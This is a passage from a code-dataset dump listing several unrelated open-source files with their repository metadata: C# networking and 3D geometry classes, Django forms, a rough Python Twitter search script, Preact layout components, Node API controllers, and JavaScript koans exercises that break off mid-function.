repo_name
stringlengths 4
116
| path
stringlengths 4
379
| size
stringlengths 1
7
| content
stringlengths 3
1.05M
| license
stringclasses 15
values |
---|---|---|---|---|
seanmcelroy/Mystiko
|
Mystiko.Library.Core/Net/Messages/NodeDecline.cs
|
7915
|
// --------------------------------------------------------------------------------------------------------------------
// <copyright file="NodeDecline.cs" company="Sean McElroy">
// Copyright Sean McElroy; released as open-source software under the licensing terms of the MIT License.
// </copyright>
// <summary>
// A response to a NodeHello message a respondant node sents if it rejects the connection request
// </summary>
// --------------------------------------------------------------------------------------------------------------------
namespace Mystiko.Net.Messages
{
using System;
using System.Diagnostics;
using System.IO;
using System.Linq;
/// <summary>
/// The first message a node sends to another when connecting to it
/// </summary>
public class NodeDecline : IMessage
{
/// <summary>
/// The reason why the respondant rejected the initiator
/// </summary>
public enum NodeDeclineReasonCode : byte
{
/// <summary>
/// The node refuses to clarify why it is declining the connection.
/// This type of rejection indicates nothing about the likely outcome
/// of future connection attempts. The initiator may have sent a
/// valid message that was parsed and trusted, but no qualification is
/// implied by this decline reason.
/// </summary>
Unknown = 0,
/// <summary>
/// The node is unable to establish communications with the initiator,
/// for any reason, including version incompatibility, resource
/// capacity, or even if the node knows its host is shutting down.
/// This type of rejection indicates the initiator may try again
/// at some point in the future.
/// </summary>
Unable = 1,
/// <summary>
/// The node is able to establish communications with the initiator,
/// but is unwilling to do so. This could stem from reasons such as
/// the respondant is shunning the initiator, perceives it to be
/// untrustworthy (such as lying or providing corrupted or garbage
/// content) or a leech of network resources.This type of rejection
/// indicates the initiator should not try contacting this respondant
/// again with the same node identity, and that doing so with a new
/// identity may not resolve the issue.
/// </summary>
Unwilling = 2,
/// <summary>
/// The node is not able to parse or accept the identity of the
/// initiator node. For instance, the message is malformed, the
/// keying material is invalid, or the date of the mined identity
/// is in the future or too far in the past. This type of rejection
/// indicates the initiator should not try contacting this respondant
/// again with the same node identity, and that doing so with a new
/// identity or properly formatted issue may resolve the issue.
/// </summary>
Untrusted = 3
}
/// <summary>
/// The suggested remeidiation by the respondant how the initiator can overcome the rejection
/// </summary>
public enum NodeDeclineRemediationCode : byte
{
/// <summary>
/// The respondant has no remediation suggestion to make for the
/// initiator to overcome the rejection
/// </summary>
Unknown = 0,
/// <summary>
/// Update to a newer version of the protocol
/// </summary>
Update = 1,
/// <summary>
/// Log the exchange of unique chunks between more unique nodes
/// in the blockchain to improve network reputation
/// </summary>
Share = 2,
/// <summary>
/// Mine a new node identity
/// </summary>
Rekey = 3,
/// <summary>
/// Try another node
/// </summary>
Another = 4,
/// <summary>
/// Simply don't connect to this node again for a while
/// </summary>
Scram = 5
}
/// <inheritdoc />
public MessageType MessageType => MessageType.NodeDecline;
/// <summary>
/// Gets or sets the reason why the respondant rejected the initiator
/// </summary>
public NodeDeclineReasonCode DeclineReason { get; set; }
/// <summary>
/// Gets or sets the suggested remeidiation by the respondant how the initiator can overcome the rejection
/// </summary>
public NodeDeclineRemediationCode Remediation { get; set; }
/// <inheritdoc />
public byte[] ToMessage()
{
using (var ms = new MemoryStream())
using (var bw = new BinaryWriter(ms))
{
bw.Write(new byte[] { 0x4D, 0x59, 0x53, 0x54, 0x49, 0x4B, 0x4F, 0x0A }); // Header
bw.Write(new byte[] { (byte)this.MessageType, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }); // Message type, length (1 more QWORDs)
bw.Write((byte)this.DeclineReason); // 1 byte
bw.Write((byte)this.Remediation); // 1 byte
bw.Write(new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 });
bw.Write(new byte[] { 0x0C, 0xAB, 0x00, 0x5E, 0xFF, 0xFF, 0xFF, 0xFF }); // Caboose
// ReSharper disable once AssignNullToNotNullAttribute
return ms.ToArray();
}
}
/// <inheritdoc />
public void FromMessage(byte[] messageBytes)
{
if (messageBytes == null)
{
throw new ArgumentNullException(nameof(messageBytes));
}
if (messageBytes.Length < 1)
{
throw new ArgumentException("Payload less than one byte in length", nameof(messageBytes));
}
using (var ms = new MemoryStream(messageBytes))
using (var br = new BinaryReader(ms))
{
var header = br.ReadUInt64();
Debug.Assert(header == 5573577635319729930);
var messageType = br.ReadByte();
Debug.Assert(MessageType.NodeDecline.Equals(messageType), "Message is parsed as wrong type");
var qWords = BitConverter.ToUInt64(br.ReadBytes(7).Append((byte)0).ToArray(), 0);
Debug.Assert(qWords == 1);
var payload = new byte[8 * qWords];
Buffer.BlockCopy(messageBytes, (int)ms.Position, payload, 0, payload.Length);
ms.Seek(payload.Length, SeekOrigin.Current);
this.FromPayload(payload);
var caboose = br.ReadUInt64();
Debug.Assert(caboose == 912823757494550527);
}
}
public void FromPayload(byte[] payload)
{
if (payload == null)
{
throw new ArgumentNullException(nameof(payload));
}
if (payload.Length < 1)
{
throw new ArgumentException("Payload body less than one byte in length", nameof(payload));
}
using (var ms = new MemoryStream(payload))
using (var br = new BinaryReader(ms))
{
this.DeclineReason = (NodeDeclineReasonCode)br.ReadByte();
this.Remediation = (NodeDeclineRemediationCode)br.ReadByte();
var zeroPadding = br.ReadBytes(6);
Debug.Assert(BitConverter.ToUInt64(zeroPadding.Append((byte)0).Append((byte)0).ToArray(), 0) == 0);
}
}
}
}
|
mit
|
largelymfs/MTMSWord2Vec
|
ExpTable.cpp
|
1044
|
/*
* @Author: largelyfs
* @Date: 2015-02-22 15:35:19
* @Last Modified by: largelyfs
* @Last Modified time: 2015-02-26 01:33:37
*/
#include <iostream>
#include "ExpTable.h"
using namespace std;
#include "stdio.h"
ExpTable::ExpTable(int MAX_TABLE_SIZE, int MAX_EXP) : elem(NULL), max_table_size(MAX_TABLE_SIZE), max_exp(MAX_EXP){
this->elem = new double[this->max_table_size];
this->init();
}
ExpTable::~ExpTable(){
if (elem!=NULL) delete[] elem;
}
void ExpTable::init(){
for (int i = 0; i < this->max_table_size; i ++){
this->elem[i] = exp((i / (double)(this->max_table_size) * 2.0 -1.0) * this->max_exp);
this->elem[i] = (this->elem[i]) / (this->elem[i] + 1.0);
}
}
void ExpTable::show(){
for (int i = 0; i < this->max_table_size; i++)
printf("%lf\n", this->elem[i]);
fflush(stdout);
}
double& ExpTable::operator[](int index){
return this->elem[index];
}
// int main(){
// ExpTable *e = new ExpTable(1000, 6);
// for (int i = 0; i< 10; i++)
// std::cout << (*e)[i] << std::endl;
// delete e;
// return 0;
// }
|
mit
|
leonanluppi/ANP-Crawler
|
web/src/app/configs/app-translation-en-US.js
|
822
|
(function(angular) {
'use strict';
angular
.module('softruck.translation')
.constant('LANG_EN', {
'LABEL_SELECT_STATE': 'Select a state',
'LABEL_SEARCH': 'Search',
'LABEL_COUNTY': 'County',
'LABEL_AVERAGE_MARGIN': 'Average Margin',
'LABEL_MAX_PRICE': 'Max Price',
'LABEL_MIN_PRICE': 'Min Price',
'LABEL_STANDARD_DEVIATION': 'Standard Deviation',
'LABEL_AVERAGE_PRICE': 'Average Price',
'LABEL_SEARCHING': 'Searching...',
'LABEL_COMPANY_NAME': 'Company name',
'LABEL_ADDRESS': 'Address',
'LABEL_AREA': 'Area',
'LABEL_FLAG': 'Flag',
'LABEL_SELL_PRICE': 'Sell Price',
'LABEL_BUY_PRICE': 'Buy Price',
'LABEL_SALE_MODE': 'Sale Mode',
'LABEL_PROVIDER': 'Provider',
'LABEL_DATE': 'Date',
});
})(angular);
|
mit
|
ArnaudBuchholz/gpf-js
|
test/compatibility/array.js
|
65
|
"use strict";
describe("compatibility/array", function () {
});
|
mit
|
rliu42/conductor-hero
|
client/js/main.js
|
281
|
var scene = new THREE.Scene();
var camera = new THREE.PerspectiveCamera( 75, window.innerWidth / window.innerHeight, 0.1, 1000 );
var renderer = new THREE.WebGLRenderer();
renderer.setSize( window.innerWidth, window.innerHeight );
document.body.appendChild( renderer.domElement );
|
mit
|
bertnotbob/django-property
|
homes/forms.py
|
2148
|
from django import forms
from registration.forms import RegistrationForm
from .models import PropertyType, SearchPrice
class SearchForm(forms.Form):
def __init__(self, *args, **kwargs):
super(SearchForm, self).__init__(*args, **kwargs)
self.fields['min_price'] = forms.ChoiceField(
choices=[(o.price, o.label) for o in SearchPrice.objects.all()],
widget=forms.Select(attrs={'class':'form-control'})
)
self.fields['max_price'] = forms.ChoiceField(
choices=[(o.price, o.label) for o in SearchPrice.objects.all()],
widget=forms.Select(attrs={'class':'form-control'})
)
SEARCH_TYPE_LETTING = 'lettings'
SEARCH_TYPE_SALE = 'sales'
SEARCH_TYPE_CHOICES = (
(SEARCH_TYPE_SALE, 'For Sale'),
(SEARCH_TYPE_LETTING, 'To Let')
)
BEDROOM_CHOICES = (
(0, 'Studio'),
(1, '1 Bedroom'),
(2, '2 Bedrooms'),
(3, '3 Bedrooms'),
(4, '4 Bedrooms'),
(5, '5 Bedrooms+')
)
search_type = forms.ChoiceField(choices=SEARCH_TYPE_CHOICES, widget=forms.Select(attrs={'class':'form-control'}))
min_price = forms.ChoiceField()
max_price = forms.ChoiceField()
location = forms.CharField(max_length=100, widget=forms.TextInput(attrs={'class':'form-control'}))
min_bedrooms = forms.ChoiceField(choices=BEDROOM_CHOICES, widget=forms.Select(attrs={'class':'form-control'}))
property_type = forms.ModelChoiceField(
PropertyType.active.all(),
empty_label=None,
widget=forms.Select(attrs={'class':'form-control'}),
to_field_name='slug'
)
class CustomRegistrationForm(RegistrationForm):
def __init__(self, *args, **kwargs):
super(CustomRegistrationForm, self).__init__(*args, **kwargs)
self.fields['username'].error_messages = {'required':'Username is required'}
self.fields['email'].error_messages = {'required':'Email is required'}
self.fields['password1'].error_messages = {'required':'Password is required'}
self.fields['password2'].error_messages = {'required':'Password confirmation is required'}
|
mit
|
RollMan/Hydra
|
hydra.py
|
1927
|
# -*- coding: utf-8 -*-
import util
import sys, decode, datetime, os
apikey = '*****'
apisec = '*****'
def date2int(datestr):
date = datetime.datetime.strptime(datestr, "%a %b %d %H:%M:%S %z %Y")
return date
class timeline:
time_begin = 0
time_end = 0
hashtag = ''
tweetlist = []
def __init__(tb, te, ht):
time_begin = tb
time_end = te
hashtag = ht
def fetchTweets():
res = req("https://api.twitter.com/1.1/search/tweets.json", {'q':hashtag, 'until':time_end}, 'GET')
res = json.loads(res.decode('utf-8'))
self.tweetlist+=res
while(time_end > self.tweetlist[-1]["created_at"]):
res = req("https://api.twitter.com/1.1/search/tweets.json", {'q':hashtag, 'until':time_end, 'since_id':self.tweetlist[-1]['id']}, 'GET')
res = json.loads(res.decode('utf-8'))
self.tweetlist += res
#def start():
def main():
tw =
authorize_filename = "authorization.txt"
if os.path.isfile(authorize_filename):
authorize_keys = authorize_twitter(apikey, apisec)
authorize_file = open(authorize_filename, 'w')
authorize_file.write(authorize_keys)
else:
authorize_file = open(authorize_filename, 'r')
authorize_keys = json.load(authorize_filejson.load(authorize_file))
if sys.argc is not 5*2+1+1:
print("Usage: " + sys.argv[0] + "[begin_year] [begin_month] [begin_day] [begin_hour] [begin_minute] [end_year] [end_month] [end_day] [end_hour] [end_minute] [hashtag]")
time_begin = datetime.datetime(sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4], sys.argv[5]);
time_end = datetime.datetime(sys.argv[6], sys.argv[7], sys.argv[8], sys.argv[9], sys.argv[10]);
hashtag = sys.argv[11]
tl = timeline(time_begin, time_end, hashtag)
for i in tl.tweetlist:
print(i["status"])
if __name__ == '__main__':
main()
exit(0)
|
mit
|
rocketgithub/l10n_gt_extra
|
__openerp__.py
|
1692
|
# -*- encoding: utf-8 -*-
##############################################################################
#
# Copyright (c) 2009-2012 Soluciones Tecnologócias Prisma S.A. All Rights Reserved.
# José Rodrigo Fernández Menegazzo, Soluciones Tecnologócias Prisma S.A.
# (http://www.solucionesprisma.com)
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
##############################################################################
{
'name': 'Guatemala - Reportes y funcionalidad extra',
'version': '1.0',
'category': 'Localization',
'description': """ Rerporte requeridos por la SAT y otra funcionalidad extra para llevar un contabilidad en Guatemala. """,
'author': 'José Rodrigo Fernández Menegazzo',
'website': 'http://solucionesprisma.com/',
'depends': ['l10n_gt'],
'data': [
'account_invoice_view.xml',
'res_partner_view.xml',
'reports.xml',
],
'demo': [],
'installable': True,
'images': ['images/config_chart_l10n_gt.jpeg','images/l10n_gt_chart.jpeg'],
}
# vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:
|
mit
|
Azure/azure-sdk-for-ruby
|
data/azure_key_vault/lib/2016-10-01/generated/azure_key_vault/models/key_properties.rb
|
2206
|
# encoding: utf-8
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may cause incorrect behavior and will be lost if the code is
# regenerated.
module Azure::KeyVault::V2016_10_01
module Models
#
# Properties of the key pair backing a certificate.
#
class KeyProperties
include MsRestAzure
# @return [Boolean] Indicates if the private key can be exported.
attr_accessor :exportable
# @return [String] The key type.
attr_accessor :key_type
# @return [Integer] The key size in bits. For example: 2048, 3072, or
# 4096 for RSA.
attr_accessor :key_size
# @return [Boolean] Indicates if the same key pair will be used on
# certificate renewal.
attr_accessor :reuse_key
#
# Mapper for KeyProperties class as Ruby Hash.
# This will be used for serialization/deserialization.
#
def self.mapper()
{
client_side_validation: true,
required: false,
serialized_name: 'KeyProperties',
type: {
name: 'Composite',
class_name: 'KeyProperties',
model_properties: {
exportable: {
client_side_validation: true,
required: false,
serialized_name: 'exportable',
type: {
name: 'Boolean'
}
},
key_type: {
client_side_validation: true,
required: false,
serialized_name: 'kty',
type: {
name: 'String'
}
},
key_size: {
client_side_validation: true,
required: false,
serialized_name: 'key_size',
type: {
name: 'Number'
}
},
reuse_key: {
client_side_validation: true,
required: false,
serialized_name: 'reuse_key',
type: {
name: 'Boolean'
}
}
}
}
}
end
end
end
end
|
mit
|
ryanheathers/seattle-composting
|
public/js/lib/fetch_search.js
|
293
|
function fetchSearch(query) {
$.getJSON('/products/search/' + query, function(results) {
if (results.length > 0) {
writeSearchResults(results);
}
else {
$("#handling").html("<h2>Hold the biscuits, no products were found. Try a different search.</h2>");
}
});
}
|
mit
|
getto-systems/getto-css
|
lib/z_vendor/getto-css/preact/design/box.ts
|
3408
|
import { VNode } from "preact"
import { html } from "htm/preact"
import { VNodeContent } from "../common"
export function container(content: VNodeContent): VNode {
return html`<section class="container">${content}</section>`
}
export function container_top(content: VNodeContent): VNode {
return html`<section class="container container_top">${content}</section>`
}
export type BoxContent =
| BoxContent_body
| (BoxContent_title & BoxContent_body)
| (BoxContent_body & BoxContent_footer)
| (BoxContent_title & BoxContent_body & BoxContent_footer)
type BoxContent_title = Readonly<{ title: VNodeContent }>
type BoxContent_body = Readonly<{ body: VNodeContent }>
type BoxContent_footer = Readonly<{ footer: VNodeContent }>
type BoxClass = "single" | "double" | "grow"
function mapBoxClass(boxClass: BoxClass): string {
switch (boxClass) {
case "single":
return ""
default:
return `box_${boxClass}`
}
}
export function box(content: BoxContent): VNode {
return boxContent("single", content)
}
export function box_double(content: BoxContent): VNode {
return boxContent("double", content)
}
export function box_grow(content: BoxContent): VNode {
return boxContent("grow", content)
}
export function box_transparent(content: VNodeContent): VNode {
return boxTransparent("single", content)
}
export function box_double_transparent(content: VNodeContent): VNode {
return boxTransparent("double", content)
}
export function box_grow_transparent(content: VNodeContent): VNode {
return boxTransparent("grow", content)
}
function boxContent(boxClass: BoxClass, content: BoxContent): VNode {
return html`<article class="box ${mapBoxClass(boxClass)}">
<main>${header()} ${boxBody(content.body)}</main>
${footer()}
</article>`
function header(): VNodeContent {
if ("title" in content) {
return boxHeader(content.title)
}
return ""
}
function footer() {
if ("footer" in content) {
return boxFooter(content.footer)
}
return ""
}
}
function boxTransparent(boxClass: BoxClass, content: VNodeContent): VNode {
return html`<article class="box box_transparent ${mapBoxClass(boxClass)}">${content}</article>`
}
function boxHeader(title: VNodeContent) {
return html`<header class="box__header">
<h2>${title}</h2>
</header>`
}
function boxBody(body: VNodeContent) {
return html`<section class="box__body">${body}</section>`
}
function boxFooter(footer: VNodeContent) {
return html`<footer class="box__footer">${footer}</footer>`
}
export type ModalContent = Readonly<{
title: VNodeContent
body: VNodeContent
footer: VNodeContent
}>
export function modalBox({ title, body, footer }: ModalContent): VNode {
return html`<aside class="modal">
<section class="modal__box">
${modalHeader(title)} ${modalBody(body)} ${modalFooter(footer)}
</section>
</aside>`
}
function modalHeader(title: VNodeContent) {
return html`<header class="modal__header">
<h3 class="modal__title">${title}</h3>
</header>`
}
function modalBody(content: VNodeContent) {
return html`<section class="modal__body">${content}</section>`
}
function modalFooter(footer: VNodeContent) {
return html`<footer class="modal__footer">${footer}</footer>`
}
|
mit
|
nomoreserious/FlowSimulation
|
FlowSimulation.Core/AgentsVisual3D/AgentVisual3DBase.cs
|
2981
|
using System;
using System.Collections.Generic;
using System.Text;
using System.Windows.Media.Media3D;
namespace FlowSimulation.AgentsVisual3D
{
abstract class AgentVisual3DBase
{
//public abstract MeshGeometry3D CreateAgentGeometry(Point3D position, Size3D size);
//public abstract MeshGeometry3D AddAgentGeometry(Point3D position, Size3D size, MeshGeometry3D mesh);
protected static MeshGeometry3D CubeModel(Point3D p1, Point3D p2, Point3D p3, Point3D p4, Point3D p5, Point3D p6, Point3D p7, Point3D p8, MeshGeometry3D mesh)
{
mesh = CreateTriangle(p1, p3, p4, mesh);
mesh = CreateTriangle(p1, p2, p3, mesh);
mesh = CreateTriangle(p1, p5, p6, mesh);
mesh = CreateTriangle(p1, p6, p2, mesh);
mesh = CreateTriangle(p1, p4, p8, mesh);
mesh = CreateTriangle(p1, p8, p5, mesh);
mesh = CreateTriangle(p7, p6, p5, mesh);
mesh = CreateTriangle(p7, p5, p8, mesh);
mesh = CreateTriangle(p7, p2, p6, mesh);
mesh = CreateTriangle(p7, p3, p2, mesh);
mesh = CreateTriangle(p7, p8, p4, mesh);
mesh = CreateTriangle(p7, p4, p3, mesh);
return mesh;
}
protected static MeshGeometry3D CreateTriangle(Point3D p0, Point3D p1, Point3D p2, MeshGeometry3D mesh)
{
int index = mesh.Positions.Count;
Vector3D normal = CalculateNormal(p0, p1, p2);
mesh.Positions.Add(p0);
mesh.Positions.Add(p1);
mesh.Positions.Add(p2);
mesh.TriangleIndices.Add(index);
mesh.TriangleIndices.Add(index + 1);
mesh.TriangleIndices.Add(index + 2);
mesh.Normals.Add(normal);
mesh.Normals.Add(normal);
mesh.Normals.Add(normal);
return mesh;
}
private static Vector3D CalculateNormal(Point3D p0, Point3D p1, Point3D p2)
{
Vector3D v0 = new Vector3D(p1.X - p0.X, p1.Y - p0.Y, p1.Z - p0.Z);
Vector3D v1 = new Vector3D(p2.X - p1.X, p2.Y - p1.Y, p2.Z - p1.Z);
return Vector3D.CrossProduct(v0, v1);
}
public static MeshGeometry3D Add(MeshGeometry3D base_geom, MeshGeometry3D add_geom)
{
foreach (var position in add_geom.Positions)
{
base_geom.Positions.Add(position);
}
foreach (var normal in add_geom.Normals)
{
base_geom.Normals.Add(normal);
}
int last_index = base_geom.Positions.Count;
foreach (var index in add_geom.TriangleIndices)
{
base_geom.TriangleIndices.Add(last_index + index);
}
foreach (var coordinate in add_geom.TextureCoordinates)
{
base_geom.TextureCoordinates.Add(coordinate);
}
return base_geom;
}
}
}
|
mit
|
robertz/node-billz
|
controllers/api.js
|
1167
|
/* global require exports next */
/* eslint no-unused-vars: off */
const Payee = require("../models/Payee");
const Payments = require("../models/Payment");
const Moment = require("moment-timezone");
const formatCurrency = require("format-currency");
exports.getPayees = async (req, res) => {
return Payee.find({ owner: req.params.userid })
.sort({ day: 1 })
.cache(0, req.params.userid + "__payees")
.then(payees => {
res.json(payees);
});
}
exports.getPayee = async (req, res) => {
return Payee.findOne({ owner: req.params.userid, _id: req.params.payeeid })
.then(payee => {
res.json(payee);
})
};
exports.getPayments = async (req, res) => {
return Payments.find({ owner: req.params.userid })
.sort({ ref: -1 })
.cache(0, req.params.userid + "__payments")
.then(payments => {
res.json(payments);
})
}
exports.getPayeePayments = async (req, res) => {
return Payments.find({ owner: req.params.userid, payee: req.params.payeeid })
.sort({ ref: -1 })
.then(payments => {
res.json(payments);
});
};
|
mit
|
rexxars/supermark-blog
|
src/components/inline-list.js
|
521
|
'use strict';
var React = require('react');
function InlineList(props) {
return (
<span className="inline-list">
{props.items.map(function(item) {
var link = props.link + '/' + encodeURIComponent(item);
return <a key={item} className="post-category" href={link}>{item}</a>;
})}
</span>
);
}
InlineList.propTypes = {
items: React.PropTypes.array.isRequired,
link: React.PropTypes.string.isRequired
};
module.exports = InlineList;
|
mit
|
andrew-li/javascript-koans
|
koans/AboutApplyingWhatWeHaveLearnt.js
|
12867
|
var _; //globals
describe("About Applying What We Have Learnt", function() {
var products;
beforeEach(function () {
products = [
{ name: "Sonoma", ingredients: ["artichoke", "sundried tomatoes", "mushrooms"], containsNuts: false },
{ name: "Pizza Primavera", ingredients: ["roma", "sundried tomatoes", "goats cheese", "rosemary"], containsNuts: false },
{ name: "South Of The Border", ingredients: ["black beans", "jalapenos", "mushrooms"], containsNuts: false },
{ name: "Blue Moon", ingredients: ["blue cheese", "garlic", "walnuts"], containsNuts: true },
{ name: "Taste Of Athens", ingredients: ["spinach", "kalamata olives", "sesame seeds"], containsNuts: true }
];
});
/*********************************************************************************/
it("given I'm allergic to nuts and hate mushrooms, it should find a pizza I can eat (imperative)", function () {
var i,j,hasMushrooms, productsICanEat = [];
for (i = 0; i < products.length; i+=1) {
if (products[i].containsNuts === false) { //find products that don't contain nuts
hasMushrooms = false;
for (j = 0; j < products[i].ingredients.length; j+=1) {
if (products[i].ingredients[j] === "mushrooms") { //find products that don't contain mushrooms
hasMushrooms = true;
}
}
if (!hasMushrooms) productsICanEat.push(products[i]);
}
}
expect(productsICanEat.length).toBe(1);
});
it("given I'm allergic to nuts and hate mushrooms, it should find a pizza I can eat (functional)", function () {
var productsICanEat = [];
//function that checks if ingredient is not a mushroom
var ingredientIsNotAMushroom = function(ingredient) {
return (ingredient !== "mushrooms");
};
//function that checks if product has no nuts and no mushrooms
var productContainsNoNutsAndNoMushrooms = function(product) {
return (product.containsNuts === false && _(product.ingredients).all(ingredientIsNotAMushroom));
};
/* solve using filter() & all() / any() */
productsICanEat = products.filter(productContainsNoNutsAndNoMushrooms);
expect(productsICanEat.length).toBe(1);
});
/*********************************************************************************/
it("should add all the natural numbers below 1000 that are multiples of 3 or 5 (imperative)", function () {
var sum = 0;
for(var i=1; i<1000; i+=1) {
if (i % 3 === 0 || i % 5 === 0) { //add 3, 6, 9, 12, etc. and 5, 10, 15, 20, etc. to sum
sum += i;
}
}
expect(sum).toBe(233168);
});
it("should add all the natural numbers below 1000 that are multiples of 3 or 5 (functional)", function () {
var sum = _.range(1, 1000).reduce(function(total, currentNumber) {
return ( (currentNumber % 3 === 0 || currentNumber % 5 === 0) ? (total + currentNumber) : total );
}, 0); /* try chaining range() and reduce() */
expect(233168).toBe(sum);
});
/*********************************************************************************/
it("should count the ingredient occurrence (imperative)", function () {
var ingredientCount = { "{ingredient name}": 0 };
for (i = 0; i < products.length; i+=1) {
for (j = 0; j < products[i].ingredients.length; j+=1) { //calculate count of every ingredient in products array
ingredientCount[products[i].ingredients[j]] = (ingredientCount[products[i].ingredients[j]] || 0) + 1;
}
}
expect(ingredientCount['mushrooms']).toBe(2);
});
it("should count the ingredient occurrence (functional)", function () {
var ingredientCount = { "{ingredient name}": 0 };
//function that returns all of the product's ingredients as an array
var getProductIngredients = function(product) {
return product.ingredients;
};
//function that increments the passed in object's ingredient counters based on passed in ingredient name
var countIngredients = function(ingredientCount, currentIngredient) {
if(ingredientCount[currentIngredient] === undefined)
{
ingredientCount[currentIngredient] = 1;
}
else
{
++ingredientCount[currentIngredient];
}
return ingredientCount;
};
/* chain() together map(), flatten() and reduce() */
ingredientCount = _(products).chain().map(getProductIngredients).flatten().reduce(countIngredients, {}).value();
expect(ingredientCount['mushrooms']).toBe(2);
});
/*********************************************************************************/
/* UNCOMMENT FOR EXTRA CREDIT */
it("should find the largest prime factor of a composite number", function () {
//returns -1 if number is not a composite number
var findLargestPrimeFactor = function(compositeNumber)
{
if(compositeNumber <= 2)
return -1;
//keep dividing the current number by all numbers less than it that haven't been checked yet
var largestPrimeFactor = compositeNumber;
var i = 2;
while(largestPrimeFactor > i)
{
//the first division gives the largest factor; when it can't be divided into anymore then it will be the largest prime factor
if(largestPrimeFactor % i === 0)
{
largestPrimeFactor /= i;
}
else
{
++i;
}
}
return (largestPrimeFactor >= compositeNumber) ? -1 : largestPrimeFactor;
};
expect(findLargestPrimeFactor(1)).toBe(-1); //not composite number
expect(findLargestPrimeFactor(2)).toBe(-1); //not composite number
expect(findLargestPrimeFactor(7)).toBe(-1); //not composite number
expect(findLargestPrimeFactor(179)).toBe(-1); //not composite number
expect(findLargestPrimeFactor(64)).toBe(2);
expect(findLargestPrimeFactor(75)).toBe(5);
expect(findLargestPrimeFactor(120)).toBe(5);
expect(findLargestPrimeFactor(125)).toBe(5);
expect(findLargestPrimeFactor(358)).toBe(179);
});
it("should find the largest palindrome made from the product of two 3 digit numbers", function () {
//helper function that checks if number is a palindrome
var isPalindromicNumber = function(number)
{
//convert passed in number to string type then compare the original numeric string to its reverse
//if the original numeric string is equal to its reverse, then it is a palindrome
var numberAsString = number.toString();
return (numberAsString == numberAsString.split("").reverse().join(""));
};
var findLargestPalindrome = function() {
var product = 0;
var largestPalindrome = 0;
for(var i = 999; i >= 100; --i) //999 to 100 represents all 3 digit numbers
{
for(var j = i; j >= 100; --j) //can start at i since j * i doesn't need to be checked because i * j and j * i is the same
{
product = i * j;
if(isPalindromicNumber(product) && product > largestPalindrome) //store largest product that is a palindrome
{
largestPalindrome = product;
}
}
}
return largestPalindrome;
};
expect(findLargestPalindrome()).toBe(906609);
});
it("should find the smallest number divisible by each of the numbers 1 to 20", function () {
//helper function that finds the greatest common divisor between two numbers
var gcd = function(num1, num2) {
if(num1 === num2 || num2 === 0)
{
return num1;
}
else if (num1 === 0)
{
return num2;
}
else
{
//to get the gcd, keep getting the gcd between the current and previous remainders until 0
return gcd(num2, num1 % num2);
}
};
//helper function that finds the least common multiple between two numbers
var lcm = function(num1, num2) {
if(num1 === num2)
{
return num1;
}
else if (num1 === 0 || num2 === 0)
{
return 0;
}
else
{
return ((num1 * num2) / gcd(num1, num2)); //multiply the two numbers and divide by the gcd to get the lcm
}
};
var findLCMofOneToN = function(n) {
if(n < 1)
return 0;
//can get the lcm of 1 to N by getting the lcm between the current number and the lcm of all previous numbers for every number in 1 to N
var currentLCM = 1;
for(var i = 2; i <= n; ++i)
{
currentLCM = lcm(currentLCM, i);
}
return currentLCM;
};
expect(findLCMofOneToN(20)).toBe(232792560);
});
it("should find the difference between the sum of the squares and the square of the sums", function () {
//helper function that calculates sum of squares for array input by looping through the array
var sumOfSquaresForArrayInput = function(arr) {
return (arr.reduce(
function(sum, i) {
return sum + Math.pow(i, 2);
}, 0));
};
//helper function that calculates sum of squares for array input by looping through the array
var squareOfTheSumsForArrayInput = function(arr) {
return (Math.pow(
arr.reduce(
function(sum, i) {
return sum + i;
}, 0),
2));
};
//calculates the difference between the sum of the squares and the square of the sums for array input by looping through the array
var differenceForArrayInput = function(arr) {
return Math.abs(sumOfSquaresForArrayInput(arr) - squareOfTheSumsForArrayInput(arr));
};
expect(differenceForArrayInput(_.range(1, 21))).toBe(41230);
//helper function that calculates sum of squares for first n numbers by using formula found here:
//http://www.trans4mind.com/personal_development/mathematics/series/sumNaturalSquares.htm
var sumOfSquaresForFirstNnumbers = function(n) {
return ((n * (n + 1) * (2 * n + 1)) / 6);
};
//helper function that calculates square of sums for first n numbers by using formula found here:
//http://www.mathwords.com/a/arithmetic_series.htm
var squareOfTheSumsForFirstNnumbers = function(n) {
return Math.pow((n * (n + 1)) / 2, 2);
};
//calculates the difference between the sum of the squares and the square of the sums for first n numbers by using math formulas
var differenceForFirstNnumbers = function(n) {
return Math.abs(sumOfSquaresForFirstNnumbers(n) - squareOfTheSumsForFirstNnumbers(n));
};
expect(differenceForFirstNnumbers(20)).toBe(41230);
expect(differenceForArrayInput(_.range(1, 31))).toBe(differenceForFirstNnumbers(30));
});
it("should find the 10001st prime", function () {
//helper function that loops through multiples of i in the passed in array; every multiple marked is not a prime number
var markCompositeNumbers = function(compositeNumberCheckArray, i, maxNumber) {
for(var j = i * i ; j < maxNumber; j += i) //can start at i ^ 2 since every composite number up to i ^ 2 will have already been marked
{
compositeNumberCheckArray[j - 2] = true; //start array index at 0, so the number 2 is actually represented by index 0
}
};
var findNthPrime = function(n) {
if(n < 1)
return 0;
//max number is a value that shouldn't be changed; it represents approximately how many numbers need to be searched to find the nth prime
//the formula for how many numbers need to be searched uses a rough approximation formula found here:
//http://en.wikipedia.org/wiki/Prime_number_theorem#Approximations_for_the_nth_prime_number
var MAX_NUMBER = (n <= 6) ? 14 : (Math.ceil(n * (Math.log(n) + Math.log(Math.log(n)))));
//to find the nth prime number, need to count number of primes found
//a boolean array will be used to indicate if a number is prime or not prime (true = not prime), with the index representing a number
//since anything that is a multiple of a number is not a prime, can find all nonprimes by finding multiples of primes
var compositeNumberCheckArray = new Array(MAX_NUMBER);
var primesFoundCounter = 0;
for(var i = 2; i < MAX_NUMBER; ++i)
{
//skip numbers that aren't prime
if(compositeNumberCheckArray[i - 2] === true) //start array index at 0, so the number 2 is actually represented by index 0
continue;
++primesFoundCounter; //increment number of primes found
